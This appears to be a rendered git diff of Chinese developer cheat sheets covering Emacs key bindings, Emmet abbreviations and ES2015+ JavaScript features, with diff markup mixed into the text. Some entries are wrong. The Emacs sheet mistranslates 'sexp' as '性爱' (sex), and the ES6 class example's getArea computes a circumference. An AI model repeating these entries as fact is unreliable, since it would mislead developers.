|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
向后 | 向前 | 要杀死的实体
|
||||
:- | :- | :-
|
||||
`DEL` | `C-d` | 字符 <br>_(删除)_
|
||||
`M-DEL` | `M-d` | 单词
|
||||
`M-0` `C-k` | `C-k` | 行 <br/> _(到结尾)_
|
||||
`C-x` `DEL` | `M-k` | 句子
|
||||
`M--` `C-M-k` | `C-M-k` | 性爱
|
||||
<!--rehype:className=shortcuts show-header-->
|
||||
|
||||
#### 杀死
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`C-W` | 杀死区域 C-w
|
||||
`M-w` | 复制区域杀死环
|
||||
`M-z` char | 杀死下一次出现的字符
|
||||
`C-y` | 拉回最后一个被杀的东西
|
||||
`M-y` | 用之前的杀戮替换最后的猛拉
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### 获得帮助
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`C-x` `1` | 删除帮助窗口
|
||||
`C-M-v` | 滚动帮助窗口
|
||||
`C-h` `a` | Apropos:显示匹配字符串的命令
|
||||
`C-h` `k` | 描述一个键运行的功能
|
||||
`C-h` `f` | 描述一个函数
|
||||
`C-h` `m` | 获取特定于模式的信息
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
帮助系统很简单。键入 `C-h`(或 `F1`)并按照说明进行操作。如果您是第一次使用,请键入 `C-h` `t` 以获得教程
|
||||
|
||||
### 多个窗口
|
||||
<!--rehype:wrap-class=col-span-2 row-span-2-->
|
||||
|
||||
当显示两个命令时,第二个命令是用于框架而不是窗口的类似命令
|
||||
|
||||
:- | :- | :-
|
||||
:- | :- | :-
|
||||
`C-x` `5` `1` | `C-x` `1` | 删除所有其他窗口
|
||||
`C-x` `5` `2` | `C-x` `2` | 拆分窗口,上方和下方
|
||||
`C-x` `5` `0` | `C-x` `0` | 删除此窗口
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
:- | :- | :-
|
||||
:- | :- | :-
|
||||
| `C-x` `3` | 拆分窗口,并排
|
||||
| `C-M-v` | 滚动其他窗口
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
:- | :- | :-
|
||||
:- | :- | :-
|
||||
`C-x` `5` `o` | `C-x` `o` | 将光标切换到另一个窗口
|
||||
`C-x` `5` `b` | `C-x` `4` `b` | 在其他窗口中选择缓冲区
|
||||
`C-x` `5` `C-o` | `C-x` `4` `C-o` | 在其他窗口中显示缓冲区
|
||||
`C-x` `5` `f` | `C-x` `4` `f` | 在其他窗口中查找文件
|
||||
`C-x` `5` `r` | `C-x` `4` `r` | 在其他窗口中以只读方式查找文件
|
||||
`C-x` `5` `d` | `C-x` `4` `d` | 在其他窗口中运行 Dired
|
||||
`C-x` `5` `.` | `C-x` `4` `.` | 在其他窗口中查找标签
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
:- | :- | :-
|
||||
:- | :- | :-
|
||||
| `C-x` `^` | 让窗户变高
|
||||
| `C-x` `{` | 缩小窗口
|
||||
| `C-x` `}` | 让窗口变宽
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### 格式化
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`TAB` | 缩进当前行(取决于模式)
|
||||
`C-M-\` | 缩进区域(取决于模式)
|
||||
`C-M-q` | 缩进 sexp(取决于模式)
|
||||
`C-x` `TAB` | 缩进区域刚性 arg 列
|
||||
`M-;` | 缩进评论
|
||||
`C-o` | 在点后插入换行符
|
||||
`C-M-o` | 将其余行垂直向下移动
|
||||
`C-x` `C-o` | 删除点周围的空行
|
||||
`M-^` | 与上一个加入行(带 arg,下一个)
|
||||
`M-\` | 删除点周围的所有空白
|
||||
`M-SPC` | 在点上正好放一个空格
|
||||
`M-q` | 填写段落
|
||||
`C-x` `f` | 将填充列设置为 arg
|
||||
`C-x` `.` | 设置每行开头的前缀
|
||||
`M-o` | 设置面
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### 信息
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`C-h` `i` | 输入信息文档阅读器
|
||||
`C-h` `S` | 在 Info 中查找指定的函数或变量
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
#### 在节点内移动
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`SPC` | 向前滚动
|
||||
`DEL` | 反向滚动
|
||||
`b` | 节点的开始
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
#### 在节点之间移动
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`n` | 下一个节点
|
||||
`p` | 上一个节点
|
||||
`u` | 提升
|
||||
`m` | 按名称选择菜单项
|
||||
`n` | 按编号 (1–9) 选择第 n 个菜单项
|
||||
`f` | 遵循交叉引用(用 l 返回)
|
||||
`l` | 返回您看到的最后一个节点
|
||||
`d` | 返回目录节点
|
||||
`t` | 转到信息文件的顶部节点
|
||||
`g` | 按名称转到任何节点
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
#### 其他
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`h` | 运行信息教程
|
||||
`i` | 在索引中查找主题
|
||||
`s` | 搜索节点以查找正则表达式
|
||||
`q` | 退出信息
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### 小缓冲区
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
以下键在 `minibuffer` 中定义
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`TAB` | 尽可能完成
|
||||
`SPC` | 最多完成一个单词
|
||||
`RET` | 完成并执行
|
||||
`?` | 显示可能的完成
|
||||
`M-p` | 获取先前的 `minibuffer` 输入
|
||||
`M-n` | 获取稍后的 `minibuffer` 输入或默认值
|
||||
`M-r` | 正则表达式向后搜索历史
|
||||
`M-s` | 正则表达式向前搜索历史
|
||||
`C-g` | 中止命令
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
键入 `C-x` `ESC` `ESC` 以编辑并重复使用 `minibuffer` 的最后一个命令。键入 `F10` 以激活文本终端上的菜单栏项
|
||||
|
||||
### 标签
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`M-.` | 查找标签(定义)
|
||||
`C-u` `M-.` | 查找标签的下一个出现
|
||||
`M-x` 访问标签表 | 指定一个新的标签文件
|
||||
`M-x` 标签搜索 | 正则表达式搜索标签表中的所有文件
|
||||
`M-x` 标签查询替换 | 对所有文件运行查询替换
|
||||
`M-,` | 继续最后一个标签搜索或查询替换
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### 缓冲器
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`C-x` `b` | 选择另一个缓冲区
|
||||
`C-x` `C-b` | 列出所有缓冲区
|
||||
`C-x` `k` | 杀死一个缓冲区
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### 矩形
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`C-x` `r` `r` | 复制矩形进行注册
|
||||
`C-x` `r` `k` | 杀死矩形
|
||||
`C-x` `r` `y` | 拉长矩形
|
||||
`C-x` `r` `o` | 打开矩形,向右移动文本
|
||||
`C-x` `r` `c` | 空白矩形
|
||||
`C-x` `r` `t` | 用字符串为每一行添加前缀
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### 键盘宏
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`C-x` `(` | 开始定义键盘宏
|
||||
`C-x` `)` | 结束键盘宏定义
|
||||
`C-x` `e` | 执行最后定义的键盘宏
|
||||
`C-u` `C-x` `(` | 附加到最后一个键盘宏
|
||||
`M-x` name-last-kbd-macro | 命名最后一个键盘宏
|
||||
`M-x` insert-kbd-macro | 在缓冲区中插入 Lisp 定义
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
Emacs 搜索
|
||||
------
|
||||
|
||||
### 正则表达式(常用)
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`.` `(dot)` | 除换行符外的任何单个字符
|
||||
`*` | 零次或多次重复
|
||||
`+` | 一次或多次重复
|
||||
`?` | 零次或一次重复
|
||||
`\` | 引用特殊字符
|
||||
`\c` | 引用正则表达式特殊字符 c
|
||||
`\|` | 替代(“或”)
|
||||
`\(...\)` | 分组
|
||||
`\(:?...\)` | 害羞的分组
|
||||
`\(:NUM...\)` | 显式编号分组
|
||||
`\n` | 与第 n 组相同的文本
|
||||
`\b` | 在断字时
|
||||
`\B` | 不在断字
|
||||
|
||||
### 正则表达式(条目)
|
||||
|
||||
开始 | 结束 | 实体
|
||||
:- | :- | :-
|
||||
`^` | `$` | 行
|
||||
`\<` | `\>` | 单词
|
||||
`\_<` | `\_>` | 象征
|
||||
`\‘` | `\’` | 缓冲
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
### 正则表达式(冲突)
|
||||
|
||||
这些 | 其他 | class
|
||||
:- | :- | :-
|
||||
`[...]` | `[^...]` | 显式集
|
||||
`\w` | `\W` | 单词语法字符
|
||||
`\sc` | `\Sc` | 具有语法 c 的字符
|
||||
`\cc` | `\Cc` | 类别 c 的字符
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
### 增量搜索
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`C-s` | 向前搜索
|
||||
`C-r` | 向后搜索
|
||||
`C-M-s` | 正则表达式搜索
|
||||
`C-M-r` | 反向正则表达式搜索
|
||||
`M-p` | 选择上一个搜索字符串
|
||||
`M-n` | 选择下一个稍后搜索字符串
|
||||
`RET` | 退出增量搜索
|
||||
`DEL` | 最后一个字符的撤消效果
|
||||
`C-g` | 中止当前搜索
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
再次使用 `C-s` 或 `C-r` 在任一方向重复搜索。 如果 Emacs 仍在搜索,`C-g` 只取消不匹配的部分
|
||||
|
||||
### 查询替换
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`M-%` | 以交互方式替换文本字符串
|
||||
`M-x` regexp | 使用正则表达式
|
||||
`SPC` / `y` | 替换这个,继续下一个
|
||||
`,` | 换这个,别动
|
||||
`DEL` / `n` | 不更换就跳到下一个
|
||||
`!` | 替换所有剩余的匹配项
|
||||
`^` | 回到上一场比赛
|
||||
`RET` | 退出查询替换
|
||||
`C-r` | 进入递归编辑(C-M-c 退出)
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
杂项
|
||||
----
|
||||
|
||||
### Shell
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`M-!` | 执行一个shell命令
|
||||
`M-&` | 异步执行shell命令
|
||||
`M-` | 在区域上运行 shell 命令
|
||||
`C-u` `M-` | 通过 shell 命令过滤区域
|
||||
`M-x` shell | 在window shell中启动一个shell
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### 国际字符集
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`C-x` `RET` `l` | 指定主要语言
|
||||
`M-x` list-input-methods | 显示所有输入法
|
||||
`C-\` | 启用或禁用输入法
|
||||
`C-x` `RET` `c` | 为下一个命令设置编码系统
|
||||
`M-x` list-coding-systems | 显示所有编码系统
|
||||
`M-x` prefer-coding-system | 选择首选的编码系统
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### 寄存器
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`C-x` `r` `s` | 在寄存器中保存区域
|
||||
`C-x` `r` `i` | 将寄存器内容插入缓冲区
|
||||
`C-x` `r` `SPC` | 将点的值保存在寄存器中
|
||||
`C-x` `r` `j` | 跳转到保存在寄存器中的点
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### 各种各样的
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`C-u` num | 数值参数
|
||||
`M--` | 否定论点
|
||||
`C-q` char | 带引号的插页
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### 处理 Emacs Lisp 的命令
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`C-x` `C-e` | 评估点前的性
|
||||
`C-M-x` | 评估电流定义
|
||||
`M-x` eval-region | 评估区
|
||||
`M-:` | 读取和评估 minibuffer
|
||||
`M-x` load-library | 从加载路径加载 Lisp 库
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### 简单的定制
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`M-x` `customize` | 自定义变量和面
|
||||
|
||||
在 Emacs Lisp 中进行全局键绑定:
|
||||
|
||||
```emacs
|
||||
(global-set-key (kbd "C-c g") ’search-forward)
|
||||
(global-set-key (kbd "M-#") ’query-replace-regexp)
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 缩写
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`C-x` `a` `g` | 添加全局缩写
|
||||
`C-x` `a` `l` | 添加模式本地缩写
|
||||
`C-x` `a` `i` `g` | 为这个缩写添加全局扩展
|
||||
`C-x` `a` `i` `l` | 为这个缩写添加模式本地扩展
|
||||
`C-x` `a` `e` | 显式扩展缩写
|
||||
`M-/` | 动态扩展前一个单词
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### 拼写检查
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`M-$` | 检查当前单词的拼写
|
||||
`M-x` ispell 地区 | 检查区域内所有单词的拼写
|
||||
`M-x` ispell 缓冲区 | 检查整个缓冲区的拼写
|
||||
`M-x` flyspell 模式 | 切换即时拼写检查
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### 编写命令
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
#### 语法
|
||||
|
||||
```emacs
|
||||
(defun command-name (args)
|
||||
"documentation" (interactive "template")
|
||||
body)
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
#### 示例
|
||||
|
||||
```emacs
|
||||
(defun this-line-to-top-of-window (line)
|
||||
"Reposition current line to top of window.
|
||||
With prefix argument LINE, put point on LINE."
|
||||
(interactive "P")
|
||||
(recenter (if (null line)
|
||||
0
|
||||
(prefix-numeric-value line))))
|
||||
```
|
@ -3,7 +3,6 @@ Emmet 备忘清单
|
||||
|
||||
[Emmet](https://emmet.io/) 是一个用于提升 [HTML](./html.md) 和 CSS 代码编写的 Web 开发人员工具包,它允许您使用著名的 CSS 选择器以光速编写大型 HTML 代码块。
|
||||
|
||||
|
||||
Emmet 语法
|
||||
---------------
|
||||
|
||||
@ -16,7 +15,6 @@ Emmet 语法
|
||||
- [Emmet for Coda](https://emmet.io/download/coda/) _(emmet.io)_
|
||||
- [Emmet for Atom](https://github.com/emmetio/emmet-atom#readme) _(github.com)_
|
||||
|
||||
|
||||
### 乘法:*
|
||||
|
||||
`ul>li*5`
|
||||
@ -74,14 +72,14 @@ a{Click me}
|
||||
|
||||
p>{Click }+a{here}+{ 继续}
|
||||
|
||||
```html {.wrap}
|
||||
```html
|
||||
<p>Click <a href="">here</a> 继续</p>
|
||||
```
|
||||
|
||||
### ID 和 CLASS 属性
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
#header
|
||||
\# header
|
||||
|
||||
```html
|
||||
<div id="header"></div>
|
||||
@ -199,7 +197,6 @@ ul>li.item$@2*3
|
||||
</ul>
|
||||
```
|
||||
|
||||
|
||||
### 上一层: ^
|
||||
|
||||
div+div>p>span+em^bq
|
||||
@ -793,7 +790,6 @@ select
|
||||
|
||||
select:disabled, select:d 别名 select[disabled.]
|
||||
|
||||
|
||||
```html
|
||||
<select name="" id="" disabled="disabled"></select>
|
||||
```
|
||||
@ -1162,7 +1158,7 @@ html:4s 别名 !!!4s+doc4[lang=${lang}]
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
html:xt 别名 !!!xt+doc4[xmlns=http://www.w3.org/1999/xhtml xml:lang=${lang}]
|
||||
html:xt 别名 !!!xt+doc4[xmlns=<http://www.w3.org/1999/xhtml> xml:lang=${lang}]
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
```html
|
||||
@ -1179,7 +1175,7 @@ html:xt 别名 !!!xt+doc4[xmlns=http://www.w3.org/1999/xhtml xml:lang=${lang}]
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
html:xs 别名 !!!xs+doc4[xmlns=http://www.w3.org/1999/xhtml xml:lang=${lang}]
|
||||
html:xs 别名 !!!xs+doc4[xmlns=<http://www.w3.org/1999/xhtml> xml:lang=${lang}]
|
||||
|
||||
```html
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
@ -1195,7 +1191,7 @@ html:xs 别名 !!!xs+doc4[xmlns=http://www.w3.org/1999/xhtml xml:lang=${lang}]
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
html:xxs 别名 !!!xxs+doc4[xmlns=http://www.w3.org/1999/xhtml xml:lang=${lang}]
|
||||
html:xxs 别名 !!!xxs+doc4[xmlns=<http://www.w3.org/1999/xhtml> xml:lang=${lang}]
|
||||
|
||||
```html
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
|
||||
@ -1968,6 +1964,7 @@ CSS
|
||||
font-weight: normal;
|
||||
}
|
||||
```
|
||||
|
||||
#### @i, @import
|
||||
|
||||
```css
|
||||
@ -2057,7 +2054,7 @@ CSS
|
||||
`bfv:h` | backface-visibility:hidden;
|
||||
`bfv:v` | backface-visibility:visible;
|
||||
`bg:ie` | filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='x.png',sizingMethod='crop');
|
||||
`cm` | /* ${child} */
|
||||
`cm` | /\* ${child} */
|
||||
`colm` | columns:;
|
||||
`colmc` | column-count:;
|
||||
`colmf` | column-fill:;
|
||||
@ -2068,7 +2065,7 @@ CSS
|
||||
`colmrw` | column-rule-width:;
|
||||
`colms` | column-span:;
|
||||
`colmw` | column-width:;
|
||||
`d:ib+` | display: inline-block;<br /> *display: inline;<br /> *zoom: 1;
|
||||
`d:ib+` | display: inline-block;<br /> *display: inline;<br />*zoom: 1;
|
||||
`jc` | justify-content:;
|
||||
`jc:c` | justify-content:center;
|
||||
`jc:fe` | justify-content:flex-end;
|
||||
@ -2384,7 +2381,7 @@ choose+ A别名 xsl:choose>xsl:when+xsl:otherwise
|
||||
</xsl:choose>
|
||||
```
|
||||
|
||||
xsl 别名 !!!+xsl:stylesheet[version=1.0 xmlns:xsl=http://www.w3.org/1999/XSL/Transform]>{ | }
|
||||
xsl 别名 !!!+xsl:stylesheet[version=1.0 xmlns:xsl=<http://www.w3.org/1999/XSL/Transform>]>{ | }
|
||||
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
@ -2401,4 +2398,4 @@ xsl 别名 !!!+xsl:stylesheet[version=1.0 xmlns:xsl=http://www.w3.org/1999/XSL/T
|
||||
另见
|
||||
--------
|
||||
|
||||
* [Emmet Cheat sheet](https://docs.emmet.io/cheat-sheet/) _(docs.emmet.io)_
|
||||
- [Emmet Cheat sheet](https://docs.emmet.io/cheat-sheet/) _(docs.emmet.io)_
|
||||
|
807
docs/es6.md
Normal file
807
docs/es6.md
Normal file
@ -0,0 +1,807 @@
|
||||
ES2015+ 备忘清单
|
||||
===
|
||||
|
||||
快速浏览 ES2015、ES2016、ES2017、ES2018 及以后的 JavaScript 新特性
|
||||
|
||||
常用
|
||||
---
|
||||
|
||||
### 块范围
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
#### Let
|
||||
|
||||
```js {2,4}
|
||||
function fn () {
|
||||
let x = 0
|
||||
if (true) {
|
||||
let x = 1 // 只在这个`if`里面
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
#### Const
|
||||
|
||||
```js
|
||||
const a = 1
|
||||
```
|
||||
|
||||
`let` 是新的 `var`。 常量(`const`) 就像 `let` 一样工作,但不能重新分配。
|
||||
请参阅:[Let 和 const](https://babeljs.io/learn-es2015/#let--const)
|
||||
|
||||
### 反引号字符串
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
#### 插值
|
||||
|
||||
```js
|
||||
const message = `Hello ${name}`
|
||||
```
|
||||
|
||||
#### 多行字符串
|
||||
|
||||
```js
|
||||
const str = `
|
||||
hello
|
||||
world
|
||||
`
|
||||
```
|
||||
|
||||
模板和多行字符串。
|
||||
请参阅:[模板字符串](https://babeljs.io/learn-es2015/#template-strings)
|
||||
|
||||
### 二进制和八进制文字
|
||||
|
||||
```js
|
||||
let bin = 0b1010010
|
||||
let oct = 0o755
|
||||
```
|
||||
|
||||
请参阅:[二进制和八进制文字](https://babeljs.io/learn-es2015/#binary-and-octal-literals)
|
||||
|
||||
### 指数运算符
|
||||
|
||||
```js {1}
|
||||
const byte = 2 ** 8
|
||||
// 同: Math.pow(2, 8)
|
||||
```
|
||||
|
||||
### 新方法
|
||||
|
||||
#### 新的字符串方法
|
||||
|
||||
```js
|
||||
"hello".repeat(3)
|
||||
"hello".includes("ll")
|
||||
"hello".startsWith("he")
|
||||
"hello".padStart(8) // " hello"
|
||||
"hello".padEnd(8) // "hello "
|
||||
"hello".padEnd(8, '!') // hello!!!
|
||||
"\u1E9B\u0323".normalize("NFC")
|
||||
```
|
||||
|
||||
#### 新的数字方法
|
||||
|
||||
```js
|
||||
Number.EPSILON
|
||||
Number.isInteger(Infinity) // false
|
||||
Number.isNaN("NaN") // false
|
||||
```
|
||||
|
||||
#### 新的 Math 方法
|
||||
|
||||
```js
|
||||
Math.acosh(3) // 1.762747174039086
|
||||
Math.hypot(3, 4) // 5
|
||||
Math.imul(Math.pow(2, 32) - 1, Math.pow(2, 32) - 2) // 2
|
||||
```
|
||||
|
||||
#### 新的 Array 方法
|
||||
|
||||
```js
|
||||
// 返回一个真实的数组
|
||||
Array.from(document.querySelectorAll("*"))
|
||||
// 类似于 new Array(...),但没有特殊的单参数行为
|
||||
Array.of(1, 2, 3)
|
||||
```
|
||||
|
||||
请参阅: [新方法](https://babeljs.io/learn-es2015/#math--number--string--object-apis)
|
||||
|
||||
### 类
|
||||
|
||||
```js
|
||||
class Circle extends Shape {
|
||||
```
|
||||
|
||||
#### 构造函数
|
||||
|
||||
```js {1}
|
||||
constructor (radius) {
|
||||
this.radius = radius
|
||||
}
|
||||
```
|
||||
|
||||
#### 方法
|
||||
|
||||
```js {1}
|
||||
getArea () {
|
||||
return Math.PI * 2 * this.radius
|
||||
}
|
||||
```
|
||||
|
||||
#### 调用超类方法
|
||||
|
||||
```js {2}
|
||||
expand (n) {
|
||||
return super.expand(n) * Math.PI
|
||||
}
|
||||
```
|
||||
|
||||
#### 静态方法
|
||||
|
||||
```js {1}
|
||||
static createFromDiameter(diameter) {
|
||||
return new Circle(diameter / 2)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
原型的语法糖。
|
||||
请参阅: [类](https://babeljs.io/learn-es2015/#classes)
|
||||
|
||||
### 私有类
|
||||
|
||||
javascript 默认字段是公共的(`public`),如果需要注明私有,可以使用(`#`)
|
||||
|
||||
```js
|
||||
class Dog {
|
||||
#name;
|
||||
constructor(name) {
|
||||
this.#name = name;
|
||||
}
|
||||
printName() {
|
||||
//只能在类内部调用私有字段
|
||||
console.log(`你的名字是${this.#name}`)
|
||||
}
|
||||
}
|
||||
|
||||
const dog = new Dog("putty")
|
||||
//console.log(this.#name)
|
||||
//Private identifiers are not allowed outside class bodies.
|
||||
dog.printName()
|
||||
```
|
||||
|
||||
#### 静态私有类
|
||||
|
||||
```js
|
||||
class ClassWithPrivate {
|
||||
static #privateStaticField;
|
||||
static #privateStaticFieldWithInitializer = 42;
|
||||
|
||||
static #privateStaticMethod() {
|
||||
// …
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Promises
|
||||
--------
|
||||
|
||||
### 做出承诺
|
||||
|
||||
```js {1}
|
||||
new Promise((resolve, reject) => {
|
||||
if (ok) { resolve(result) }
|
||||
else { reject(error) }
|
||||
})
|
||||
```
|
||||
|
||||
用于异步编程。
|
||||
请参阅:[Promises](https://babeljs.io/learn-es2015/#promises)
|
||||
|
||||
### 使用 Promises
|
||||
|
||||
```js {2,3}
|
||||
promise
|
||||
.then((result) => { ··· })
|
||||
.catch((error) => { ··· })
|
||||
```
|
||||
|
||||
### 在 finally 中使用 Promise
|
||||
|
||||
```js {4}
|
||||
promise
|
||||
.then((result) => { ··· })
|
||||
.catch((error) => { ··· })
|
||||
.finally(() => {
|
||||
/* 独立于成功/错误的逻辑 */
|
||||
})
|
||||
```
|
||||
|
||||
当承诺被履行或被拒绝时,处理程序被调用
|
||||
|
||||
### Promise 函数
|
||||
|
||||
```js
|
||||
Promise.all(···)
|
||||
Promise.race(···)
|
||||
Promise.reject(···)
|
||||
Promise.resolve(···)
|
||||
```
|
||||
|
||||
### Async-await
|
||||
|
||||
```js {2,3}
|
||||
async function run () {
|
||||
const user = await getUser()
|
||||
const tweets = await getTweets(user)
|
||||
return [user, tweets]
|
||||
}
|
||||
```
|
||||
|
||||
`async` 函数是使用函数的另一种方式。
|
||||
请参阅:[异步函数](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function)
|
||||
|
||||
解构 Destructuring
|
||||
-------------
|
||||
|
||||
### 解构赋值
|
||||
|
||||
#### Arrays
|
||||
|
||||
```js {1}
|
||||
const [first, last] = ['Nikola', 'Tesla']
|
||||
```
|
||||
|
||||
#### Objects
|
||||
|
||||
```js {1}
|
||||
let {title, author} = {
|
||||
title: 'The Silkworm',
|
||||
author: 'R. Galbraith'
|
||||
}
|
||||
```
|
||||
|
||||
支持匹配数组和对象。
|
||||
请参阅:[解构](https://babeljs.io/learn-es2015/#destructuring)
|
||||
|
||||
### 默认值
|
||||
|
||||
```js
|
||||
const scores = [22, 33]
|
||||
const [math = 50, sci = 50, arts = 50] = scores
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```js
|
||||
// Result:
|
||||
// math === 22, sci === 33, arts === 50
|
||||
```
|
||||
|
||||
可以在解构数组或对象时分配默认值
|
||||
|
||||
### 函数参数
|
||||
|
||||
```js {1}
|
||||
function greet({ name, greeting }) {
|
||||
console.log(`${greeting}, ${name}!`)
|
||||
}
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```js
|
||||
greet({ name: 'Larry', greeting: 'Ahoy' })
|
||||
```
|
||||
|
||||
对象和数组的解构也可以在函数参数中完成
|
||||
|
||||
### 默认值
|
||||
|
||||
```js {1}
|
||||
function greet({ name = 'Rauno' } = {}) {
|
||||
console.log(`Hi ${name}!`);
|
||||
}
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```js
|
||||
greet() // Hi Rauno!
|
||||
greet({ name: 'Larry' }) // Hi Larry!
|
||||
```
|
||||
|
||||
### 重新分配键
|
||||
|
||||
```js {1}
|
||||
function printCoordinates({ left: x, top: y }) {
|
||||
console.log(`x: ${x}, y: ${y}`)
|
||||
}
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```js
|
||||
printCoordinates({ left: 25, top: 90 })
|
||||
```
|
||||
|
||||
此示例将 `x` 分配给 `left` 键的值
|
||||
|
||||
### 循环
|
||||
|
||||
```js {1}
|
||||
for (let {title, artist} of songs) {
|
||||
···
|
||||
}
|
||||
```
|
||||
|
||||
赋值表达式也在循环中工作
|
||||
|
||||
### 对象解构
|
||||
|
||||
```js {1}
|
||||
const { id, ...detail } = song;
|
||||
```
|
||||
|
||||
使用 `rest(...)` 运算符单独提取一些键和对象中的剩余键
|
||||
|
||||
扩展运算符 Spread
|
||||
------
|
||||
|
||||
### 对象扩展
|
||||
|
||||
#### 与对象扩展
|
||||
|
||||
```js {2}
|
||||
const options = {
|
||||
...defaults,
|
||||
visible: true
|
||||
}
|
||||
```
|
||||
|
||||
#### 没有对象扩展
|
||||
|
||||
```js
|
||||
const options = Object.assign(
|
||||
{}, defaults,
|
||||
{ visible: true })
|
||||
```
|
||||
|
||||
对象扩展运算符允许您从其他对象构建新对象。
|
||||
请参阅:[对象传播](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator)
|
||||
|
||||
### 数组扩展
|
||||
|
||||
#### 具有数组扩展
|
||||
|
||||
```js {2,3}
|
||||
const users = [
|
||||
...admins,
|
||||
...editors,
|
||||
'rstacruz'
|
||||
]
|
||||
```
|
||||
|
||||
#### 没有数组扩展
|
||||
|
||||
```js
|
||||
const users = admins
|
||||
.concat(editors)
|
||||
.concat([ 'rstacruz' ])
|
||||
```
|
||||
|
||||
扩展运算符允许您以相同的方式构建新数组。
|
||||
请参阅:[扩展运算符](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator)
|
||||
|
||||
函数 Functions
|
||||
---------
|
||||
|
||||
### 函数参数
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
#### 默认参数
|
||||
|
||||
```js {1}
|
||||
function greet (name = 'Jerry') {
|
||||
return `Hello ${name}`
|
||||
}
|
||||
```
|
||||
|
||||
#### Rest 参数
|
||||
|
||||
```js {1}
|
||||
function fn(x, ...y) {
|
||||
// y 是一个数组
|
||||
return x * y.length
|
||||
}
|
||||
```
|
||||
|
||||
#### 扩展
|
||||
|
||||
```js {1}
|
||||
fn(...[1, 2, 3])
|
||||
// 与 fn(1, 2, 3) 相同
|
||||
```
|
||||
|
||||
Default(默认), rest, spread(扩展)。
|
||||
